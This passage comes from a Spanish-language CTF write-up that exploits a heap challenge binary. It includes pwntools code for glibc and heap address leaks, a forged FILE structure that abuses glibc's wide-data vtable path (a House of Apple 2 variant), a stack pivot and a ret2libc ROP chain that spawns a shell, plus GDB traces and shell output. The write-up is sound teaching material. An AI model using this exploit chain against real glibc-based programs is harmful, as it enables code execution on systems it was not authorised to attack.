glibc.address = u64(data[data.index(b'Name: ') + 6:][:6].ljust(8, b'\0')) - 0x21b0d0
heap_addr = u64(data[data.index(b'Date: ') + 6:][:4].ljust(8, b'\0')) - 0x290
io.success(f'Glibc base address: {hex(glibc.address)}')
io.success(f'Heap base address: {hex(heap_addr)}')
create(3, LARGE, WITHOUT_FOOTER, b'D', b'D', b'D', b'D', b'D' * 16)
stderr_lock = glibc.address + 0x21ca70 # _IO_stdfile_1_lock (symbol not exported)
fake_vtable = glibc.sym._IO_wfile_jumps - 0x40 # _IO_wfile_underflow
fake = FileStructure(0)
fake.flags = 0x3b01010101010101
fake._IO_buf_base = heap_addr + 0x123
fake._lock = stderr_lock
fake.unknown2 = p64(0) * 2 + p64(glibc.sym._IO_file_jumps) + p64(0) * 3 + p64(fake_vtable)
fake._wide_data = heap_addr + 0x456
edit(0, FOOTER, DATE, p64(fake.flags))
edit(1, HEADER, CITY, p64(fake._IO_read_end))
edit(1, TEXT, 0, bytes(fake)[0x30:])
io.sendlineafter(b'>', b'4')
io.recvline()
io.interactive()
Si seguimos la ejecución de fflush
, llegaremos a un punto en el que la función llama a un puntero de la vtable:
gef> x/i $rip
=> 0x7fbe1097d1a7 <__GI__IO_fflush+119>: call QWORD PTR [rbp+0x60]
gef> x/gx $rbp
0x7fbe10b15080 <_IO_wfile_jumps_mmap+128>: 0x00007fbe10988670
gef> x/gx $rbp+0x60
0x7fbe10b150e0 <_IO_wfile_jumps+32>: 0x00007fbe10982fd0
gef> telescope -n &_IO_wfile_jumps 10
0x7fbe10b150c0|+0x0000|+000: 0x0000000000000000
0x7fbe10b150c8|+0x0008|+001: 0x0000000000000000
0x7fbe10b150d0|+0x0010|+002: 0x00007fbe10989ff0 <_IO_file_finish> -> 0xfd894855fa1e0ff3
0x7fbe10b150d8|+0x0018|+003: 0x00007fbe10984390 <_IO_wfile_overflow> -> 0x48555441fa1e0ff3
0x7fbe10b150e0|+0x0020|+004: 0x00007fbe10982fd0 <_IO_wfile_underflow> -> 0x56415741fa1e0ff3
0x7fbe10b150e8|+0x0028|+005: 0x00007fbe10981840 <_IO_wdefault_uflow> -> 0x158d4855fa1e0ff3
0x7fbe10b150f0|+0x0030|+006: 0x00007fbe10981600 <_IO_wdefault_pbackfail> -> 0x89495741fa1e0ff3
0x7fbe10b150f8|+0x0038|+007: 0x00007fbe10984840 <_IO_wfile_xsputn> -> 0x0fd28548fa1e0ff3
0x7fbe10b15100|+0x0040|+008: 0x00007fbe109892b0 <__GI__IO_file_xsgetn> -> 0x56415741fa1e0ff3
0x7fbe10b15108|+0x0048|+009: 0x00007fbe10983750 <_IO_wfile_seekoff> -> 0x89495741fa1e0ff3
Como mencionaba nobodyisnobody, queremos llamar a _IO_wfile_underflow
. Aunque la técnica de House of Apple 2 utiliza _IO_wfile_overflow
, podemos tratar de mezclar ambos caminos. El código relevante aparece en blog.kylebot.net.
Si seguimos con la ejecución, de _IO_wfile_underflow
pasaremos a _IO_wdoallocbuf
, que llamará a estas dos instrucciones:
mov rax, QWORD PTR [rax + 0xe0]
call QWORD PTR [rax + 0x68]
Y en $rax
tenemos el puntero de _wide_data
, que controlamos. Entonces, en $rax
tenemos que poner una dirección para que, en esa dirección más 0xe0
podamos referenciar a una función que está a un offset de 0x68
. Parece complicado, pero no lo es.
Podemos modificar los siguientes parámetros del exploit:
create(3, LARGE, WITHOUT_FOOTER, b'D', b'D', b'D', b'D', b'\0' * 0xe0 + p64(heap_addr + 0x789))
# ...
fake._wide_data = heap_addr + 0xf90
Y cuando llegamos al punto crítico, tenemos lo siguiente:
gef> x/i $rip
=> 0x7f652b0a6b94 <__GI__IO_wdoallocbuf+36>: mov rax,QWORD PTR [rax+0xe0]
gef> p/x $rax
$3 = 0x11ccf90
gef> p/x $rax + 0xe0
$4 = 0x11cd070
gef> x/gx $rax + 0xe0
0x11cd070: 0x00000000011cc789
Con esto, estamos apuntando la ejecución al último chunk que hemos asignado. En vez de poner la dirección que termina en 789
, podemos hacer que esa dirección más 0x68
sea igual a la siguiente (0x11cd078
), para controlar la instrucción call
:
create(3, LARGE, WITHOUT_FOOTER, b'D', b'D', b'D', b'D', b'\0' * 0xe0 + p64(heap_addr + 0x1010) + p64(heap_addr + 0xabc))
Ahora, al llegar al punto de antes, hemos avanzado algo más y ya controlamos la instrucción call
:
gef> x/i $rip
=> 0x7fa6473d0b94 <__GI__IO_wdoallocbuf+36>: mov rax,QWORD PTR [rax+0xe0]
gef> p/x $rax
$3 = 0x229ef90
gef> p/x $rax + 0xe0
$4 = 0x229f070
gef> x/gx $rax + 0xe0
0x229f070: 0x000000000229f010
gef> p/x 0x000000000229f010 + 0x68
$5 = 0x229f078
gef> x/gx 0x000000000229f010 + 0x68
0x229f078: 0x000000000229eabc
Si continuamos una instrucción, GDB nos dirá la llamada a la función que se está a punto de realizar:
------------------------------------------------------------------------------------------------------------------------------------- arguments (guessed) ----
0x229eabc <NO_SYMBOL> (
$rdi = 0x000000000229e6e0 -> 0x3b01010101010101,
$rsi = 0x0000000000000001,
$rdx = 0x0000000000000421,
$rcx = 0x0000000000000000,
$r8 = 0x000000000000000a,
$r9 = 0x0000000000000000
)
Genial, con esto tenemos control sobre $rip
, y algo de control sobre los registros:
gef> info registers
rax 0x229f010 0x229f010
rbx 0x229e6e0 0x229e6e0
rcx 0x0 0x0
rdx 0x421 0x421
rsi 0x1 0x1
rdi 0x229e6e0 0x229e6e0
rbp 0x7fa647564080 0x7fa647564080 <_IO_wfile_jumps_mmap+128>
rsp 0x7fffd6302c20 0x7fffd6302c20
r8 0xa 0xa
r9 0x0 0x0
r10 0x7fa64750bac0 0x7fa64750bac0
r11 0x246 0x246
r12 0x7fffd6302e28 0x7fffd6302e28
r13 0x401276 0x401276
r14 0x0 0x0
r15 0x7fa6475c0040 0x7fa6475c0040
rip 0x7fa6473d0b9b 0x7fa6473d0b9b <__GI__IO_wdoallocbuf+43>
eflags 0x246 [ PF ZF IF ]
cs 0x33 0x33
ss 0x2b 0x2b
ds 0x0 0x0
es 0x0 0x0
fs 0x0 0x0
gs 0x0 0x0
Obteniendo RCE
En este punto, podemos intentar usar one_gadget
, pero ninguna de las opciones funciona. Entonces, lo más sencillo es tratar de usar una cadena ROP. Esto, en el heap no es tan sencillo. Pero como tenemos control sobre $rip
y una gran cantidad de gadgets disponibles en Glibc, podemos usar un Stack Pivot:
$ ROPgadget --binary /lib/x86_64-linux-gnu/libc.so.6 > rop.txt
$ grep ': xchg .sp, .ax ; ret$' rop.txt
0x000000000003653a : xchg esp, eax ; ret
$ grep ': xchg .ax, .sp ; ret$' rop.txt
0x00000000001b5503 : xchg eax, esp ; ret
Cualquiera de estos dos gadgets nos sirve para cambiar el puntero de pila $rsp
al valor que tiene ahora $rax
(una dirección del heap). Y en esa dirección a la que apunta $rax
es donde pondremos la cadena ROP típica de ret2libc (pop rdi; ret
, dirección de "/bin/sh"
y llamada a system
):
xchg_eax_esp_ret_addr = glibc.address + 0x1b5503
pop_rdi_ret_addr = glibc.address + 0x2a3e5
rop_chain = p64(pop_rdi_ret_addr)
rop_chain += p64(next(glibc.search(b'/bin/sh')))
rop_chain += p64(glibc.sym.system)
create(3, LARGE, WITHOUT_FOOTER, b'D', b'D', b'D', b'D', p64(0) * 16 + rop_chain + p64(0) * 9 + p64(heap_addr + 0x1010) + p64(xchg_eax_esp_ret_addr))
Y con esto, conseguimos una shell en local (funciona 3/4 veces):
$ python3 solve.py
[*] './chall'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)
[+] Starting local process './chall': pid 468990
[+] Glibc base address: 0x7f45d92be000
[+] Heap base address: 0x1844000
[*] Switching to interactive mode
$ ls
Dockerfile ctf.xinetd docker-compose.yml flag.txt rop.txt
chall deploy-challenge.sh entrypoint.sh libc.so.6 solve.py
Flag
Si desplegamos el contenedor de Docker para probar el exploit en remoto, veremos que también funciona:
$ python3 solve.py 127.0.0.1 42069
[*] './chall'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)
[+] Opening connection to 127.0.0.1 on port 42069: Done
[+] Glibc base address: 0x7fd2c5d49000
[+] Heap base address: 0x1f5c000
[*] Switching to interactive mode
$ hostname
cfdc5a495d67
$ cat /flag.txt
HackOn{f4k3_fl4g_4_t3st1ng}
El exploit completo se puede encontrar aquí: solve.py
.